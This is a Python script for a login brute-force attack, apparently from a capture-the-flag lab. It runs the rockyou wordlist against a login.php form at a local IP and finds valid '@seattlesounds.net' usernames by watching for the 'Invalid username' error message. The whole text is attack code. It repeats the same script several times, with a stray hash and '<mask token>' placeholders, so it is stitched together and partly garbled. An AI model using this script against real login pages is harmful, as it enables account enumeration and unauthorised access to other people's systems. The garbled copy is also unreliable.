#################################################################
#Objective:
# Brute-force for login enumeration
#Description:
# POST request to try to log on the application
#Date:
# 16/03/2017
#################################################################

import requests

#wordfile to use 
wordfile = "/root/ctf/wordlist/rockyou.txt"
wd = open(wordfile)

#content return when username error 
match='Invalid username, please try again.'

#credentials
#entry = 'admin@seattlesounds.net'
#entry = entry.rstrip("\n") 
mail = '@seattlesounds.net' 
password = 'random'

#target URL 
url = "http://192.168.0.4/login.php"

#to know how much username has already been tested
i=0

for entry in wd:
        entry = entry.rstrip("\n")
        entry = entry + mail

        #data to be include when requesting 
        datas = {'password':password,'usermail':entry}
        #cookie to be include when requesting 
        cookie = {'level':'1'}
        request = requests.post(url, data = datas, cookies = cookie).text

        if match not in request:
                print(entry,': login correct')

        i=i+1
        if i%1000==0:
                print('Line',i)

db208f5c06597fc1a9744824d0a4284995c760bf
<mask token>

<mask token>
for entry in wd:
    entry = entry.rstrip('\n')
    entry = entry + mail
    datas = {'password': password, 'usermail': entry}
    cookie = {'level': '1'}
    request = requests.post(url, data=datas, cookies=cookie).text
    if match not in request:
        print(entry, ': login correct')
    i = i + 1
    if i % 1000 == 0:
        print('Line', i)

<mask token>
wordfile = '/root/ctf/wordlist/rockyou.txt'
wd = open(wordfile)
match = 'Invalid username, please try again.'
mail = '@seattlesounds.net'
password = 'random'
url = 'http://192.168.0.4/login.php'
i = 0
for entry in wd:
    entry = entry.rstrip('\n')
    entry = entry + mail
    datas = {'password': password, 'usermail': entry}
    cookie = {'level': '1'}
    request = requests.post(url, data=datas, cookies=cookie).text
    if match not in request:
        print(entry, ': login correct')
    i = i + 1
    if i % 1000 == 0:
        print('Line', i)

import requests
wordfile = '/root/ctf/wordlist/rockyou.txt'
wd = open(wordfile)
match = 'Invalid username, please try again.'
mail = '@seattlesounds.net'
password = 'random'
url = 'http://192.168.0.4/login.php'
i = 0
for entry in wd:
    entry = entry.rstrip('\n')
    entry = entry + mail
    datas = {'password': password, 'usermail': entry}
    cookie = {'level': '1'}
    request = requests.post(url, data=datas, cookies=cookie).text
    if match not in request:
        print(entry, ': login correct')
    i = i + 1
    if i % 1000 == 0:
        print('Line', i)

#################################################################
#Objective:
# Brute-force for login enumeration
#Description:
# POST request to try to log on the application
#Date:
# 16/03/2017
#################################################################

import requests

#wordfile to use 
wordfile = "/root/ctf/wordlist/rockyou.txt"
wd = open(wordfile)

#content return when username error 
match='Invalid username, please try again.'

#credentials
#entry = 'admin@seattlesounds.net'
#entry = entry.rstrip("\n") 
mail = '@seattlesounds.net' 
password = 'random'

#target URL 
url = "http://192.168.0.4/login.php"

#to know how much username has already been tested
i=0

for entry in wd:
        entry = entry.rstrip("\n")
        entry = entry + mail

        #data to be include when requesting 
        datas = {'password':password,'usermail':entry}
        #cookie to be include when requesting 
        cookie = {'level':'1'}
        request = requests.post(url, data = datas, cookies = cookie).text

        if match not in request:
                print(entry,': login correct')

        i=i+1
        if i%1000==0:
                print('Line',i)
